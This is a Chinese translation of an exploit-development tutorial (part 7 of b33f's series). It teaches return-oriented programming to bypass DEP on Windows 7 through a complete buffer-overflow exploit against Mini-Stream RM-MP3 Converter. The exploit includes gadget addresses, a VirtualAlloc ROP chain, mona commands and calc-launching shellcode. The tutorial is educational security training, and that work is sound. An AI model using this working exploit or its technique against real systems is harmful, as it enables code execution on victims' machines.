译者:Netfairty
前言
欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将要学习的是ROP(返回导向编程). 不像前一节我们把参数精心布置在堆栈然后调用Windwos API去执行它们. 所有介绍ROP教程都需要你做很多的工作才能掌握它. 但是在次提醒本教程不会覆盖ROP所有细节. 如果你想更好的理解ROP我推荐你看
corelanc0d3r’s的文章
我将用"Mini-Stream RM-MP3 Converter 3.1.2.1"来介绍这项技术. 之前的一个漏洞利用程序在
这里 , 但是我们要做一些不一样的东西, 它更高效.
调试机器:Windows 7(任何Windows 7版本都可以, 我用的是WIN7 PRO SP1)
坏字符:”\x00\x09\x0a”
漏洞软件:
下载
介绍
为什么要学习ROP? 人们滥用堆栈溢出很多年. 为了减轻攻击带来的损失. 微软从WIN XP SP2和WIN SERVER 2003开始引进了一项新的安全措施对抗从不可执行区域范围执行代码. DEP(数据执行保护)包含两部分:
硬件DEP: CPU置内存为不可执行
软件DEP
支持硬件DEP的CPU会拒绝执行被标记为不可执行的(NX)内存页的代码. 这么做的目的是防止攻击者将恶意代码注入的另外一个程序执行. 尤其是基于栈溢出的漏洞, 由于DEP, 上的shellcode将不会被执行. 但DEP有时会造成程序意外错误, 因为程序有时候可能需要在不可执行区域执行代码. 为了解决这个问题, 微软提供了两种DEP配置.
Opt-In Mode:DEP只对系统进程和特别定义的进程启用
Opt-Out Mode:DEP对系统所有进程和服务启用,除了禁用的进程.
这对漏洞利用意味着什么?当我们尝试在启用DEP的内存执行代码, 程序将会返回一个访问冲突” STATUS_ACCESS_VIOLATION (0xc0000005)" . 然后程序就终止了. 对于攻击者来说这显然不是好事. 但是有趣的是DEP可以被关闭, 这意味着调用某个Windows API可以把某段不可执行区域设置为可执行. 主要的问题仍然是, 如果我们不能执行任何代码的话又怎么去调用这个API呢?
开始我们的ROP(返回导向编程). 这项技术最早由Sebastian Krahmer 在2005的SUSE Linux提出. 你可以在这里
找到这篇文档 . ROP基本的思想是借助已经存在的代码块(也叫配件), 这些配件来自程序已经加载的模块, 用这些配件为我们的目标API设置参数. 我们可以在已加载的模块中找到一些列以retn结尾的配件, 把这些配件的地址布置在堆栈上, 当控制EIP并返回时候, 程序就会跳去执行这些小配件, 而这些小配件是在别的模块代码段, 不受DEP的影响. 这就是ROP的原理, 下面的这个例子可以帮助我们更好的理解它:
(1) 指针直接执行retn (2) 指针指向一些指令+retn
ESP -> ???????? => RETN ESP -> ???????? => POP EAX # RETN
???????? => RETN ffffffff => we put this value in EAX
???????? => RETN ???????? => INC EAX # RETN
???????? => RETN ???????? => XCHG EAX,EDX # RETN
(1)这里retn仅仅是增加esp (2) 用配件将EDX清0
相信你已经理解ROP的思想了. 下面我们列举所有的ROP配件一会会用它们布置目标API的参数, 目标API才是真正关闭DEP的函数. 这项技术成功的关键在于我们需要在未启用ASLR的模块去寻找这些小配件.
下面是不同的API在不同的系统下可用情况.
可以看到不止一种方法可以达到目的. 有些方法更普遍. 不同的API有不同的参数, 详细的参数请看MSDN. 一般而言系统模块都启用了ASLR. 所以我们从软件自身加载的模块看是否包含这些API的指针.
基本上有两种方式写ROP
(1)把API需要的参数都放到寄存器, 用一个push指令把他们压入栈(这是下面我们要做的)
(2)直接把API需要的参数布置到栈然后跳去这个API执行, 这种方法有点难.
最后我要提一点, 对payload创建一个完整的ROP也是可以的.
收集配件
漏洞利用比较抽象, 你得到的信息越多, 你看的就越清楚, 离成功也就越近. 让我们看看下面这个POC, BBBB将会覆写EIP.
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A' #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
老办法, 附加Mini-Stream 到调试器然后打开crash.m3u文件. 你可以看到下图所示的崩溃. 有几点值得注意:
(1)ESP指向我们的缓冲区真是好消息因为我们可以用retn指令地址覆写EIP从而跳到我们ROP链的开始.
(2)我们看到ESP指向EIP+4的位置, 稍后我们要填充着4个字节.
好. 我们基本搞清了内存布局. 用mona看看软件加载了哪些模块(记住只要没有non-base, no-ASLR,no 坏字符). 看起来只有一个dll符合要求(MSRMfilter03.dll). 接下来用mona搜索ROP链需要的小配件. 分别执行这两个命令:
!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
最后就是用mona在MSRMfilter03.dll找到这些小配件, mona会生成几个重要的文件:
“rop.txt”(ROP配件的原始列表),
“rop_suggestions.txt”(基于函数过滤后的ROP配件列表),
“stackpivot.txt”(转移ESP的配件),
“rop_virtualprotect.txt”(基于VirtualProtect函数的ROP链小配件).
我建议打开这些文件方便随时参考. 尽管我们将要用VirtualAlloc去禁用DEP, 我们同样会看看“rop_virtualprotect.txt 是否有我们需要的小配件.
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
构建ROP-Chain
在开始之前, 像之前看到的我们可以用retn指令地址覆写EIP, 如果你打开rop.txt你可以选择其中一个retn地址, 用这个地址替换BBBB, 别忘记填充4个自己(ESP=EIP+4)
#!/usr/bin/python
import sys, struct
file="crash.m3u"
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
不错, 下面看看VirtualAlloc这个API. 我建议你花点时间读下MSDN文件, 便于更好理解我们要使用的参数.
VirtualAlloc:
MSDN
结构: 参数:
LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc()
_In_opt_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize (0x1)
_In_ DWORD flAllocationType, => flAllocationType (0x1000)
_In_ DWORD flProtect => flProtect (0x40)
);
可以看到大部分参数值只需要保持默认即可. 你同样可以用VirtualProtect这个API去完成任务.
VirtualProtect:
MSDN
结构: 参数:
BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect()
_In_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize up to you to chose as needed (0x201)
_In_ DWORD flNewProtect, => flNewProtect (0x40)
_Out_ PDWORD lpflOldProtect => A writable pointer
);
记住这些信息, 开始改变我们的POC, 使我们对ROP-Chain有更清晰的认识
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LPVOID lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAllocationType, => flAllocationType (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAllocationType #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
现在我们的任务是把ROP-Chain综合在一起设置VirtualAlloc的值. 我们需要整理这些指针, 因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的
(1) EDI -> We need to put a ROP-Nop in EDI
0x10029b57 # POP EDI # RETN
0x1002b9ff # ROP-Nop (we already have this value from EIP)
(2) EBP -> Redirect Execution flow to ESP
0x100532ed # POP EBP # RETN
0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
(3) EAX -> Fill with a regular NOP
0x10030361 # POP EAX # RETN
0x90909090 # NOP (just a regular NOP)
(4) We need to end our chain with a PUSHAD
0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)
别的一些可能令人费解, 需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的ROP-Chain, 但这并不是唯一的选择. 布置ROP链有很多的方式, 发挥你的创造力吧.
(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN /
(6) EDX -> flAllocationType (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAllocationType (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate \
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate /
(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory location at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN /
0x1002a487 # ADD ECX,ECX # RETN \
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN /
(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)
有些序列似乎有点复杂,但他们不是很难理解,需要一些时间来看看, 理解它们。正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我们的ROP链. 是时候把所有东西放在一起, 调整我们的POC如下:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LPVOID lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAllocationType, => flAllocationType (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAllocationType #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
#-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
#--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
#------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
#-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
#----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
#------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
#---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
#----------------------------------------[PUSHAD -> pwnd!]-#
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
你可以调试这个ROP链, 以确保一切按计划进行.
在下面的截图中可以看到VirtualAlloc是在堆栈上被调用的. 布置在后面的任何代码都会被执行.
Shellcode+游戏结束
ROP第二阶段就是要插入我们要执行的shellcode, 由于我们没有分配大量的内存,所以我们可控的空间是有限的. 没关系, 我使用SkyLined的calc shellcode(有兴趣的话你可以看看
这里 ). 但其实可以分配更大内存的, 这留给你们去完成.
#!/usr/bin/python
#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u) #
# OS: Win7 Pro SP1 #
# Author: b33f (Ruben Boonen) #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications #
# /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html #
#----------------------------------------------------------------------------------#
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LPVOID lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAllocationType, => flAllocationType (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAllocationType #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
#-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
#--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
#------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
#-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
#----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
#------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
#---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
#----------------------------------------[PUSHAD -> pwnd!]-#
# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
原文链接:
http://www.fuzzysecurity.com/tutorials/expDev/7.html
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
上传的附件: